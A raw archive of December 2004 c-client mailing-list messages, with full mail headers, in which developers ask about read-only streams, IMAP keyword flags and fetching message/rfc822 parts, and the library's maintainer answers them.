list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IHapU028007 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 10:17:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1IHR1T019772; Wed, 1 Dec 2004 10:17:29 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1IGR3s120004 for ; Wed, 1 Dec 2004 10:16:27 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IGQw6028049 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Dec 2004 10:16:27 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IGPZD010783; Wed, 1 Dec 2004 10:16:25 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB1IGLKS001456 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 1 Dec 2004 10:16:24 -0800 Message-Id: Date: Wed, 1 Dec 2004 10:16:20 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: > ... but - are you saying that I don't even need to change into HALFOPEN mode > in order to be able to append messages to any kind of mailbox without the > "Status: O" flag being set? That I just have to keep the stream in READONLY > mode? Stream readonly status refers to operations on the opened mailbox (the selected mailbox in IMAP terms); it affects such operations as setting/clearing flags and expunging. It does not in any way affect operations that work on a mailbox by name, such as append. So I think that the answer to your question (if I understand it correctly) is "yes". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 1 10:20:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Dec 2004 10:20:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1IK71k032215 for ; Wed, 1 Dec 2004 10:20:07 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IK6ud028120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Dec 2004 10:20:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB1IJu5q005170; Wed, 1 Dec 2004 10:19:56 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB1IJZY8114350 for ; Wed, 1 Dec 2004 10:19:35 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IJZAk032198 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Dec 2004 10:19:35 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB1IJXRH007712; Wed, 1 Dec 2004 10:19:33 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB1IJTAi024179 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 1 Dec 2004 10:19:32 -0800 Message-Id: Date: Wed, 1 Dec 2004 10:19:29 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: > [1] http://www.mail-archive.com/c-client@u.washington.edu/msg00220.html That message did not consider the case of the stream being opened readonly. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 2 02:22:04 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 02:22:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2AM40E032504 for ; Thu, 2 Dec 2004 02:22:04 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2AM2Lv016009 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 02:22:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB2ALpKM014646; Thu, 2 Dec 2004 02:21:51 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2AKK9T120054 for ; Thu, 2 Dec 2004 02:20:20 -0800 Received: from mail6.bluewin.ch (mail6.bluewin.ch [195.186.4.229]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2AKIAO004498 for ; Thu, 2 Dec 2004 02:20:19 -0800 Received: from localhost (62.203.193.24) by mail6.bluewin.ch (Bluewin AG 7.0.030.2) id 41888128002D5582 for c-client@u.washington.edu; Thu, 2 Dec 2004 10:20:17 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1CZo4O-0000OZ-00 for ; Thu, 02 Dec 2004 11:20:16 +0100 Message-Id: Date: Thu, 2 Dec 2004 11:20:16 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: Re: reopening a stream with OP_HALFOPEN In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Dec 2004, Mark Crispin wrote: > On Wed, 1 Dec 2004, Tomas Pospisek's Mailing Lists wrote: >> ... but - are you saying that I don't even need to change into HALFOPEN >> mode in order to be able to append messages to any kind of mailbox without >> the "Status: O" flag being set? That I just have to keep the stream in >> READONLY mode? > > Stream readonly status refers to operations on the opened mailbox (the > selected mailbox in IMAP terms); it affects such operations as > setting/clearing flags and expunging. It does not in any way affect > operations that work on a mailbox by name, such as append. > > So I think that the answer to your question (if I understand it correctly) is > "yes". Hmm - this is starting to be interesting for me. So this means that I could switch from mailbox to mailbox by opening them READONLY and that this would not issue internally an open/close on the stream and thus not require a re-authentication? So in the general case, that is for local and remote mailboxes of a random format supported by c-client I can: foreach mailbox in mailboxes_at_a_location { stream = open(mailbox, READONLY); # first step (read) read_mails(stream) # stream = open(mailbox, READWRITE); # second step (expunge) flag_removed_mails(stream); # expunge(stream); # stream = open(mailbox, READONLY); # third step append(new_mails, mailbox-name); # } Q1: If I ommit the second step, then I can guarantee that all email stati are maintained, especially "Status: O" will not be set by c-client or the IMAP server no matter what format the mailbox is in. Correct? Q2: It would be interesting if there exists a way to delete emails in a mailbox (that is the second step) without affecting the "Status: " respectively the flags of any other email in that mailbox or any other mailbox (this again for the general case). Q3: Or if there is a way to remove "Status: O" after the fact (afterwards). As I understand though this is not possible for the general case. Correct? If any of the two (preferable the later method - removing "Status: O") could be achieved, then mailsync could be implemented in a "perfect" way. Thanks, *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Thu Dec 2 08:35:39 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 08:35:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2GZcxA010829 for ; Thu, 2 Dec 2004 08:35:38 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2GZb4N029290 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 08:35:38 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB2GZQS7012002; Thu, 2 Dec 2004 08:35:27 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2GY2Ep068604 for ; Thu, 2 Dec 2004 08:34:02 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2GXxj8008712 for ; Thu, 2 Dec 2004 08:34:02 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 63A803E8098 for ; Thu, 2 Dec 2004 10:26:34 -0600 (CST) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31888-02 for ; Thu, 2 Dec 2004 10:26:24 -0600 (CST) Received: by mail.bynari.net (Postfix, from userid 404) id 11EA73E80DA; Thu, 2 Dec 2004 10:26:24 -0600 (CST) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id D2DC53E8098 for ; Thu, 2 Dec 2004 10:26:23 -0600 (CST) Message-Id: <41AF43DD.1000105@bynari.net> Date: Thu, 02 Dec 2004 10:33:33 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: How to manage custom flags for IMAP messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I manage custom flags for IMAP messages. I want to be able to set "\Forwarded", "\ReplyToAll", etc on a message and be able to see them using c-client. Thanks, Shawn From pinedev@shivax2.cac.washington.edu Thu Dec 2 08:55:22 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 08:55:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2GtM8t011919 for ; Thu, 2 Dec 2004 08:55:22 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2GtLkg030284 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 08:55:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB2GtDis016928; Thu, 2 Dec 2004 08:55:14 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2GsFwd093676 for ; Thu, 2 Dec 2004 08:54:15 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2GsCOJ019054 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Dec 2004 08:54:12 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2GsB0v009348; Thu, 2 Dec 2004 08:54:12 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2GsBfR031800; Thu, 2 Dec 2004 08:54:11 -0800 Message-Id: Date: Thu, 2 Dec 2004 08:54:11 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to manage custom flags for IMAP messages In-Reply-To: <41AF43DD.1000105@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Dec 2004, Shawn Walker wrote: > How do I manage custom flags for IMAP messages. I want to be able to set > "\Forwarded", "\ReplyToAll", etc on a message and be able to see them using > c-client. You can not use "\Forwarded" or "\ReplyToAll". You can, however, use "Forwarded" and "ReplyToAll". These are keyword flags, and work just like other flags. All flags which start with \ are reserved to the IMAP protocol for definition and are not available for user definition. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 2 15:27:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 15:27:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2NRNjg027405 for ; Thu, 2 Dec 2004 15:27:23 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2NRMFp016982 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 15:27:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB2NR8Ht007616; Thu, 2 Dec 2004 15:27:08 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2NPhd6056598 for ; Thu, 2 Dec 2004 15:25:43 -0800 Received: from sage.plu.edu (sage.PLU.edu [152.117.1.7]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2NPhsB031997 for ; Thu, 2 Dec 2004 15:25:43 -0800 Received: from CONVERSION-DAEMON.plu.edu by plu.edu (PMDF V6.2-X17 #30807) id <0I8402901BQDW5@plu.edu> for c-client@u.washington.edu; Thu, 02 Dec 2004 15:25:27 -0800 (PST) Received: from [127.0.0.1] (roam-201-151.plu.edu [152.117.201.151]) by plu.edu (PMDF V6.2-X17 #30807) with ESMTP id <0I84020L9BQ33C@plu.edu> for c-client@u.washington.edu; Thu, 02 Dec 2004 15:25:22 -0800 (PST) Message-Id: <41AFA458.3070106@bynari.net> Date: Thu, 02 Dec 2004 15:25:12 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: c-client@u.washington.edu Subject: message/rfc822 attachments include headers in both header and body? MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to determine if I'm making a mistake in formating or if this is normal behavior. Create an e-mail, add a part, take the forwarded e-mail, put the text in part->body with type TYPEMESSAGE and subtype "rfc822". send the message. When it is recieved, c-client returns the headers in calls to both mail_fetch_header and mail_fetch_body when given the section number for the embedded message. Is this supposed to happen or is there a problem in the message that I need to reformat part of it? Thanks, Charles -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 2 15:58:56 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 15:58:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2NwuVk028477 for ; Thu, 2 Dec 2004 15:58:56 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2NwtaN018251 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 15:58:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB2NwklG017090; Thu, 2 Dec 2004 15:58:46 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB2Nvp35073272 for ; Thu, 2 Dec 2004 15:57:51 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2NvmKK028879 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Dec 2004 15:57:49 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB2Nvmji029874; Thu, 2 Dec 2004 15:57:48 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB2Nvlmh006750 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Dec 2004 15:57:47 -0800 Message-Id: Date: Thu, 2 Dec 2004 15:55:45 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Charles Dorner Cc: c-client@u.washington.edu Subject: Re: message/rfc822 attachments include headers in both header and body? In-Reply-To: <41AFA458.3070106@bynari.net> References: <41AFA458.3070106@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Dec 2004, Charles Dorner wrote: > When it is recieved, c-client returns the headers in calls to both > mail_fetch_header and mail_fetch_body when given the section number for the > embedded message. Is this supposed to happen or is there a problem in the > message that I need to reformat part of it? Do they return the same data? Or does mail_fetch_header() return just the header and mail_fetch_body() returns the entire message? Remember that these are not null-terminated strings; they are size-count strings. I suspect that the answers to the above questions are "no" and "yes" respectively. You should check that, just to be sure. If that is the case, can you then guess how to get the text of the message and the first body part? If you're still stumped, let me know and I'll carry you through the next step. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Dec 2 16:25:08 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 16:25:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30P8Ji029458 for ; Thu, 2 Dec 2004 16:25:08 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30P7wV025888 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 16:25:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB30OsYo009018; Thu, 2 Dec 2004 16:24:54 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30Nwnn084462 for ; Thu, 2 Dec 2004 16:23:58 -0800 Received: from sage.plu.edu (mail.PLU.edu [152.117.1.7]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30NwMh025537 for ; Thu, 2 Dec 2004 16:23:58 -0800 Received: from CONVERSION-DAEMON.plu.edu by plu.edu (PMDF V6.2-X17 #30807) id <0I840AS01EFXXA@plu.edu> for c-client@u.washington.edu; Thu, 02 Dec 2004 16:23:57 -0800 (PST) Received: from [127.0.0.1] (roam-201-151.plu.edu [152.117.201.151]) by plu.edu (PMDF V6.2-X17 #30807) with ESMTP id <0I8402KJAEFU5G@plu.edu>; Thu, 02 Dec 2004 16:23:57 -0800 (PST) Message-Id: <41AFB217.8030109@bynari.net> Date: Thu, 02 Dec 2004 16:23:51 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Charles Dorner To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: message/rfc822 attachments include headers in both header and body? In-Reply-To: References: <41AFA458.3070106@bynari.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On both questions, you guessed correctly; I was more focused on why the body was the header+body together. As long as this is the appropriate behavior from c-client, everything is jolly. I had previously implemented the obvious hack to just count the header and remove that prefix from the body. However, I wanted to verify that there wasn't more of a problem with section numbers, message format, or something else lurking in the shadows. Thanks! Charles Mark Crispin wrote on 12/2/2004 3:55 PM: > On Thu, 2 Dec 2004, Charles Dorner wrote: > >> When it is recieved, c-client returns the headers in calls to both >> mail_fetch_header and mail_fetch_body when given the section number >> for the embedded message. Is this supposed to happen or is there a >> problem in the message that I need to reformat part of it? > > > Do they return the same data? > > Or does mail_fetch_header() return just the header and > mail_fetch_body() returns the entire message? > > Remember that these are not null-terminated strings; they are > size-count strings. > > I suspect that the answers to the above questions are "no" and "yes" > respectively. You should check that, just to be sure. If that is the > case, can you then guess how to get the text of the message and the > first body part? > > If you're still stumped, let me know and I'll carry you through the > next step. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > From pinedev@shivax2.cac.washington.edu Thu Dec 2 16:30:49 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Dec 2004 16:30:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30UnaQ029640 for ; Thu, 2 Dec 2004 16:30:49 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30UmQa026064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Dec 2004 16:30:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iB30Ua6u017720; Thu, 2 Dec 2004 16:30:37 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iB30TxIi097302 for ; Thu, 2 Dec 2004 16:29:59 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30Txx1029053 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Dec 2004 16:29:59 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iB30TwBu004613; Thu, 2 Dec 2004 16:29:58 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iB30Twer015132 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 2 Dec 2004 16:29:58 -0800 Message-Id: Date: Thu, 2 Dec 2004 16:27:55 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Charles Dorner Cc: c-client@u.washington.edu Subject: Re: message/rfc822 attachments include headers in both header and body? In-Reply-To: <41AFB217.8030109@bynari.net> References: <41AFA458.3070106@bynari.net> <41AFB217.8030109@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, 